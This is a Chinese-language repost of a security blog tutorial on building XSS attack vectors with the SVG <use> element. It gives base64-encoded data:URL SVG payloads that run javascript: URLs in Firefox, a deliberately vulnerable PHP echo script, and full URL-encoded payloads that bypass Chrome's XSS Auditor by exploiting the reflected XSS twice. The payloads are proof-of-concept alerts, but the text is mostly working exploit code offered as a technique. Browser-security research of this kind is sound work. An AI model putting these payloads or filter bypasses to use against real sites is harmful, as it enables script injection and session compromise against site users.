標籤:style blog http io ar color 使用 sp for
原文 http://www.cnblogs.com/r00tgrok/p/SVG_Build_XSS_Vector_Bypass_Firefox_And_Chrome.html
======================SVG - <use> element======================
SVG中的<use>元素用於重用其他元素,主要用於聯結<defs>和alike,而我們卻用它來引用外部SVG檔案中的元素
元素通過其id被引用,在<use>標籤的xlink:href屬性中以‘#‘井字元開頭,外部元素的引用同樣如此
基本結構如下所示:
test.html
<svg><use xlink:href=‘external.svg#rectangle‘ /></svg>
external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
sxternal.svg檔案以<svg>標籤開始,其id設定為rectangle(矩形),使用<rect>標籤繪一個矩形。可以使用<a>環繞<rect>標籤,這樣會建立一個超連結。使用Javascript的url協議,可點擊的超連結在點擊後會執行Javascript。
雖然SVG是經由<use>標籤載入的,Javascript將會得到執行。有一點需要注意,它只能載入SVG檔案,必須滿足同源策略
======================
FIREFOX======================由於載入的外部SVG檔案必須是同源的,這個特性看起來似乎無法作為有用的XSS攻擊向量,但Firefox會幫我們提升這個攻擊向量
首先,你可以使用data:url協議,它允許我們百忙之中從內部建立一個檔案。它要求正確的mime-type,在這裡為image/svg+xml。mimie-type後是我們的攻擊載荷或關鍵字base64。特別地,由於資料被base64編碼,這有助於避免突破HTML結構的問題。
現在我們不必再依賴於伺服器上的另一個檔案了:
test.html:
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle" /></svg>
解碼後的base64載荷:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
瀏覽器會顯示出一個黑色的矩形,當點擊時會彈出其location
但是為什麼要煩擾受害者去點擊呢,他們從來都不會去做該做的事:)
external.svg中的<script>標籤不會被解析,但是SVG支援<foreignObject>元素通過闡述這個對象需要的擴充屬性,有可能載入非SVG元素
這就意味著現在有可能是有<iframe>、<embed>及其他所有支援的HTML元素了,我們可以從一堆元素中進行選擇執行Javascript,這裡使用<embed>+JavascriptURL協議
看如下SVG:
<svg id="rectangle"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><script>alert(1)</script><foreignObject width="100" height="50"requiredExtensions="http://www.w3.org/1999/xhtml"><embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" /></foreignObject></svg>
它會通過<foreignObject>載入嵌入的標籤,使用JavascriptURL協議執行Javascript
然後我們用base64對載荷進行編碼,通過data:協議載入它
test.html
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" /></svg>
在這個案例中,test.html用Firefox27開啟,會彈出location:
這樣我們在SVG中就有了另一個能執行Javascript的向量了
另外,在攻擊載荷中包含了一個<script>alert(1)</script>,這證明了<script>標籤不會被解析
======================CHROME XSS Auditor Bypass======================
現在用這個特性來對付Chrome,Chrome不支援<use>標籤xlink:href屬性中的data:URL協議,另外目前還沒有找到無需使用者互動便執行Javascript的方法
不過至少在右使用者互動的情況下,可以Bypass Blink/Webkit XSS Auditor
這裡不需要用到參數汙染,有一個參數就夠了,Blink/Webkit XSS Audito無法捕獲將參數拆分成兩個或多個的XSS攻擊
看一下這個php指令碼(xss.php):
<?phpecho "<body>";echo $_GET[‘x‘];echo "</body>";?>
這個指令碼存在XSS漏洞,但是使用下面這樣的載荷則會觸發XSS Auditor:
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
因此,讓我們使用<use>元素吧
======================Creating theSVG on the fly======================我們想載入另外的SVG檔案,因此我們以<svg><use xlink:href= 開始
但是等一下,它必須滿足同源,我們不能使用data偽協議,該怎麼擷取伺服器上的檔案呢?
很簡單,我們在一行中兩次利用XSS漏洞!首先,我們構建一個URL,製作一個包含了Javascript URL為偽協議的SVG
http://site.com/xss.php?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100" /></a></svg>
如果你將整個URL粘貼到沒有XSS Filter的瀏覽器,馬上就會出現一個黑色的矩形。但是前面已經提到過,Chrome的XSS Auditor會捕獲這種攻擊,還是繼續吧:
現在我們要在<use>元素中使用建立的SVG檔案,製造一個形如這樣的URL:
http://site.com/xss.php?x=<svg><use height=200 width=200xlink:href=‘http://vulnerabledomain.com/xss.php?x=<svg id="rectangle"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100"/></a></svg>#rectangle‘/></svg>
不要忘了進行URL編碼:
http://site.com/xss.php?x=%3Csvg%3E%3Cuse%20height=200%20width=200%20xlink:href=%27http://site.com/xss.php?x=%3Csvg%20id%3D%22rectangle%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20%20%20%20width%3D%22100%22%20height%3D%22100%22%3E%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E%3Crect%20class%3D%22blue%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22100%22%20height%3D%22100%22%20%2F%3E%3C%2Fa%3E%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E
這下應該會顯示出矩形了,點擊就會執行alert,但是這一次沒有觸發XSS Auditor :)
【轉】用SVG繞過瀏覽器XSS審計